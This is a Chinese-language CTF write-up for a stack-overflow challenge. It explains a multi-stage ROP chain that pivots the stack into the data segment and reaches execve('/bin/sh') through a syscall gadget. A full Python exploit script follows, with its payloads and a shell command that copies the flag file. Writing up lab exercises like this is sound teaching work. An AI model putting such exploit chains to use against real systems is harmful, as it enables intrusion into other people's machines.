这次是500分的rop
#include <stdio.h>voidmain(){printf("Not all the bugs are exploitable.\n");printf("Try to exploit this one and you will see.\n");printf("Or.. maybe you can prove otherwise :)\n");// exploit meintbuf[4];read(0,buf,1295);}
溢出很明显。但单看C代码,信息量太小,必须看汇编。
由于开了NX和ASLR,只能ROP了。由于在0x40056f
处有syscall
,所以我的思路是执行execve("/bin/sh",["/bin/sh",NULL],...)
具体地,我跳了好几次
- 溢出,返回再次
read
,而且把rbp
设到可写的0x601xxx
那里; - 由于
rbp
在data
段,这次的read
,可以确定所写东西的地址。我们把第3次用到的栈上的数据写到这里。由于上次的rbp
可控,当执行完read
到leave;ret
时 ,我们让他跳到第3次read
- 这次是将字符串
/bin/sh
和地址写到固定地址。这样就把execve
的参数准备好了。这次结束后,返回到0x4005f6
- 通过一系列
mov ...
,把各个寄存器的值设好。然后返回0x4005e0
- 这里就通过设
rdx
等寄存器,call qword [r12+rbx*8]
来执行最终的execve
大体思路就是这样。然后比较麻烦的是,我不知道怎么与他交互……pwntool用不了,python还是不熟……于是最后用的是将flag文件拷贝一份为可读的……
下面是代码
#!/usr/bin/env python2fromstructimport*importsubprocessimporttimesh="/bin/sh\x00"cmd="install -m666 /home/unexploitable/flag /tmp/flag1\n"data1=0x601100data2=0x601200payload1="A"*0x10payload1+=pack("<Q",data1+0x10)#saved rbppayload1+=pack("<Q",0x40056a)#ret addr: ...; read#data1payload2="B"*0x10payload2+=pack("<Q",data2+0x10)#saved rbppayload2+=pack("<Q",0x40056a)#ret addr: ...; readpayload2+="B"*0x8payload2+=pack("<Q",0x4005f6)#ret addr: mov reg ...payload2+=pack("<Q",0x40056f)#0f05 syscallpayload2+=pack("<Q",0)#rbxpayload2+=pack("<Q",0)#rbppayload2+=pack("<Q",data1+0x10+0x8+0x8+0x8+0x8)#r12payload2+=pack("<Q",data2+0x10+0x8+0x8)#r13 -> edi -> '/bin/sh'payload2+=pack("<Q",data2+0x10+0x8+0x8+len(sh))#r14 -> rsi -> argvpayload2+=pack("<Q",data2+0x10+0x8+0x8+len(sh))#r15 -> rdx -> envppayload2+=pack("<Q",0x4005e0)#ret addr: mov r13 edi; ...#data2payload3="C"*0x10payload3+=pack("<Q",data1+0x20)#saved rbppayload3+=pack("<Q",0x400585)#ret addr: leave; retpayload3+=shpayload3+=pack("<Q",data2+0x10+0x8+0x8)payload3+=pack("<Q",0)payload3+="C"*(0x3b-0x10-0x8-0x8-len(sh)-0x8-0x8)exe=subprocess.Popen(["/home/unexploitable/unexploitable"],stdin=subprocess.PIPE)exe.stdin.write(payload1)time.sleep(1)exe.stdin.write(payload2)time.sleep(1)exe.stdin.write(payload3)time.sleep(1)print"======="exe.stdin.write(cmd)